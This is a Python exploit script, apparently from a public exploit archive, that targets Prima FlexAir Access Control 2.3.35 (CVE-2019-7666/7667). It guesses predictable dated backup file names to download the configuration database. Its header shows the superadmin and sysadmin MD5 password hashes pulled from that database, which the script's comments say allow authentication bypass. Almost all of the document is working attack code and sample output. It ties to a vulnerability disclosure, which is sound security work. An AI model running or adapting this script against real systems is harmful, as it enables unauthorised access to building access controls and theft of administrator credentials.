Share
#!/usr/bin/env python  
# -*- coding: utf8 -*-  
#  
# Prima FlexAir Access Control 2.3.35 Database Backup Predictable Name Exploit  
# Authentication Bypass (Login with MD5 hash)  
#  
# CVE: CVE-2019-7666, CVE-2019-7667  
# Advisory: https://applied-risk.com/resources/ar-2019-007  
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
#  
# Discovered by Gjoko 'LiquidWorm' Krstic  
#  
# Older versions: /links/Nova_Config_2019-01-03.bck  
# Older versions: /Nova/assets/Nova_Config_2019-01-03.bck  
# Newer versions: /links/Nova_Config_2019-01-03_13-53.pdb3  
# Fixed versions: 2.4  
#  
###################################################################################  
#  
# lqwrm@metalgear:~/stuff/prima$ python exploitDB.py http://192.168.230.17:8080  
# [+] Please wait while fetchin the backup config file...  
# [+] Found some juice!  
# [+] Downloading: http://192.168.230.17:8080/links/Nova_Config_2019-01-07.bck  
# [+] Saved as: Nova_Config_2019-01-07.bck-105625.db  
# lqwrm@metalgear:~/stuff/prima$ sqlite3 Nova_Config_2019-01-07.bck-105625.db   
# SQLite version 3.22.0 2018-01-22 18:45:57  
# Enter ".help" for usage hints.  
# sqlite> select usrloginname,usrloginpassword from users where usrid in (1,2);  
# superadmin|0dfcfa8cc7fd39d96ffe22dd406b5065  
# sysadmin|1af01c4a5a4ec37f451a9feb20a0bbbe  
# sqlite> .q  
# lqwrm@metalgear:~/stuff/prima$   
#  
###################################################################################  
#  
# 11.01.2019  
#  
  
import os#######  
import sys######  
import time#####  
import requests#  
  
from datetime import timedelta, date  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
piton = os.path.basename(sys.argv[0])  
  
if len(sys.argv) < 2:  
print '[+] Usage: '+piton+' [target]'  
print '[+] Target example 1: http://10.0.0.17:8080'  
print '[+] Target example 2: https://primanova.tld\n'  
sys.exit()  
  
host = sys.argv[1]  
  
def datum(start_date, end_date):  
for n in range(int ((end_date - start_date).days)):  
yield start_date + timedelta(n)  
  
start_date = date(2017, 1, 1)  
end_date = date(2019, 12, 30)  
  
print '[+] Please wait while fetchin the backup config file...'  
  
def spinning_cursor():  
while True:  
for cursor in '|/-\\':  
yield cursor  
  
spinner = spinning_cursor()  
  
for mooshoo in datum(start_date, end_date):  
sys.stdout.write(next(spinner))  
sys.stdout.flush()  
time.sleep(0.1)  
sys.stdout.write('\b')  
h = requests.get(host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck', verify=False)  
  
if (h.status_code) == 200:  
print '[+] Found some juice!'  
print '[+] Downloading: '+host+'/links/Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck'  
timestr = time.strftime('%H%M%S')  
time.sleep(1)  
open('Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db', 'wb').write(h.content)  
print '[+] Saved as: Nova_Config_'+mooshoo.strftime('%Y-%m-%d')+'.bck-'+timestr+'.db'  
sys.exit()  
  
print '[-] No backup for you today. :('